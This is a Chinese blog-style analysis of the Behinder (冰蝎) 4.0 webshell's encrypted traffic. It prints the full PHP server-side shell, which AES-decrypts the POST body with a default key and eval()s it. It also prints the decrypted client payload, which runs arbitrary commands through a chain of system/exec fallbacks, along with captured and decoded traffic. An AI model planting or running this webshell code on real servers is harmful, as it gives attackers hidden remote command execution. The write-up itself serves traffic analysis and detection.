前几天写完了蚁剑,今天就研究下冰蝎吧,
冰蝎最主要的是可以流量加密,由于其密钥是可随机变化而无法深度了解特征
在最新的冰蝎 4.0 中,有多种加密方式,比如 异或 ,基于 Base64 的异或,在要么就是经典的 AES 加密等等共有 6 种加密方式,不同的加密方式其服务端的文件也是不一样的的
从冰蝎 3.0 开始,开始了密钥预共享制度,也就是在 WebShell 发过去的时候,密钥就提前发了过去,避免了在传输密钥的时候检测到了流量特征
这六种加密方式在 WireShark 种都是加密状态,在这里就选一种来说明吧
就用 aes_with_magic 来说明吧
我们可以先看看服务端的文件
@error_reporting(0);
function Decrypt($data)
{
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的�?16位,默认连接密码rebeyond
$magicNum=hexdec(substr($key,0,2))%16; //取magic tail长度
$data=substr($data,0,strlen($data)-$magicNum); //截掉magic tail
return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);
}
$post=Decrypt(file_get_contents("php://input"));
eval($post);
?>
开发者在注释上说的很明白了,所以我就不再描述了
我们看看客户端都发送了什么
让我们利用 WireShark 抓包
难道我们就没有办法看源代码了吗?
不要着急,冰蝎提供了加解密模块,就让我们利用这个加解密模块
然后我们经过代码格式化,就得到了一下代码内容
@error_reporting(0);
function getSafeStr($str) {
$s1 = iconv('utf-8', 'gbk//IGNORE', $str);
$s0 = iconv('gbk', 'utf-8//IGNORE', $s1);
if ($s0 == $str) {
return $s0;
} else {
return iconv('gbk','u tf-8//IGNORE', $str);
}
}
function main($cmd, $path) {
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$result = array();
$PadtJn = @ini_get('disable_functions');
if (!empty($PadtJn)) {
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn = explode(',', $PadtJn);
$PadtJn = array_map('trim', $PadtJn);
} else {
$PadtJn = array();
}
$c = $cmd;
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
$c = $c . " 2>&1\n";
}
$JueQDBH = 'is_callable';
$Bvce = 'in_array';
if ($JueQDBH('system') and !$Bvce('system', $PadtJn)) {
ob_start();
system($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('proc_open') and !$Bvce('proc_open', $PadtJn)) {
$handle = proc_open($c, array(array('pipe', 'r'), array('pipe', 'w'), array('pipe', 'w')), $pipes);
$kWJW = NULL;
while (!feof($pipes[1])) {
$kWJW.= fread($pipes[1], 1024);
}
@proc_close($handle);
} else if ($JueQDBH('passthru') and !$Bvce('passthru', $PadtJn)) {
ob_start();
passthru($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('shell_exec') and !$Bvce('shell_exec', $PadtJn)) {
$kWJW = shell_exec($c);
} else if ($JueQDBH('exec') and !$Bvce('exec', $PadtJn)) {
$kWJW = array();
exec($c, $kWJW);
$kWJW = join(chr(10), $kWJW) . chr(10);
} else if ($JueQDBH('exec') and !$Bvce('popen', $PadtJn)) {
$fp = popen($c, 'r');
$kWJW = NULL;
if (is_resource($fp)) {
while (!feof($fp)) {
$kWJW.= fread($fp, 1024);
}
}
@pclose($fp);
} else {
$kWJW = 0;
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
$key = $_SESSION['k'];
echo encrypt(json_encode($result));
return;
}
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(getSafeStr($kWJW));
echo encrypt(json_encode($result));
}
function Encrypt($data) {
$key = "e45e329feb5d925b"; //该密钥为连接密码32位md5值的�?16位,默认连接密码rebeyond
$encrypted=base64_encode(openssl_encrypt($data, "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING));
$magicNum=hexdec(substr($key,0,2))%16; //根据密钥动�?�确定魔法尾巴的长度
for($i=0;$i<$magicNum;$i++)
{
encrypted=$encrypted.chr(mt_rand(0, 255)); //拼接魔法尾巴
}
return $encrypted;
}
$cmd="Y2QgL3Vzci9zaGFyZS9uZ2lueC9odG1sLyA7bHM=" ;
$cmd=base64_decode($cmd);
$path="L3Vzci9zaGFyZS9uZ2lueC9odG1sLw==" ;
$path=base64_decode($path);
main($cmd,$path);
?>
实际上这段代码比蚁剑的更简单(还是说我看蚁剑看的理解力提升了)
另外我们发送的指令并没有在流量包里利用 POST 发送,而是直接放在代码里,也就是以下部分
$cmd="Y2QgL3Vzci9zaGFyZS9uZ2lueC9odG1sLyA7bHM=" ;
$cmd=base64_decode($cmd);
$path="L3Vzci9zaGFyZS9uZ2lueC9odG1sLw==" ;
$path=base64_decode($path);
main($cmd,$path);
根据代码可以看出是以 Base64 编码的(都挺喜欢base64的)
这时候我们去 Base64 解码的界面看一下
我们可以看见要执行的文件路径和命令
这些代码的逻辑也很简单,收到数据进行编码,然后执行 main 函数,
这个 main 函数中有着路径处理和 exec 敏感函数等处理
最后在输出结果的时候把字符串统一归为 UTF-8 输出
根据代码,我们将输出 status 和 msg 两个键,分别表示结果和值然后用 Base64 加密
根据抓包解密可以得出以下内容
mAUYLzmqn5QPDkyI5lvSp6DmrC24FW39Y4YsJhUqS7ZaYDIyHvQh3/rMjX01idF5A7UT6WKV/UN03gJabE2ZujoOYc/9WqnITIllXWXAt5uVnTlg08cteJYAmd9QKIu6xaqxV+4tL3vQe+voHNzIQU9prCMLpt9BiX4spz4lSDb+B0z851g/J7gU6v//pfaM1gMJBmsU54VA6eTzaUYZ4bcLm/G0Tgfl3Bg25+WXmCw=\
解密
{
"status":"c3VjY2Vzcw==",
"msg":"NDA0Lmh0bWwKNTB4Lmh0bWwKZW4tVVMKaWNvbnMKaW1nCmluZGV4LnBocApuZ2lueC1sb2dvLnBuZwpwb3dlcmVkYnkucG5nCnNoZWxsLnBocApzaGVsbDIucGhwCg=="
}
然后我们去解码
这时候我们得到了 success 状态(代码里面也有写 Fail ,估计是操作不当了),以及文件里面的路径
流量特征说实话很难摸透,除非短时间内有大量相同的开头,这就得好好商榷了
我发现新版的冰蝎多了很多好用的功能,比方平行空间,这么就可以看见局域网内存活的主机了
根据开发者说还可以蝎中蝎
可惜我本人修为浅,还得再练练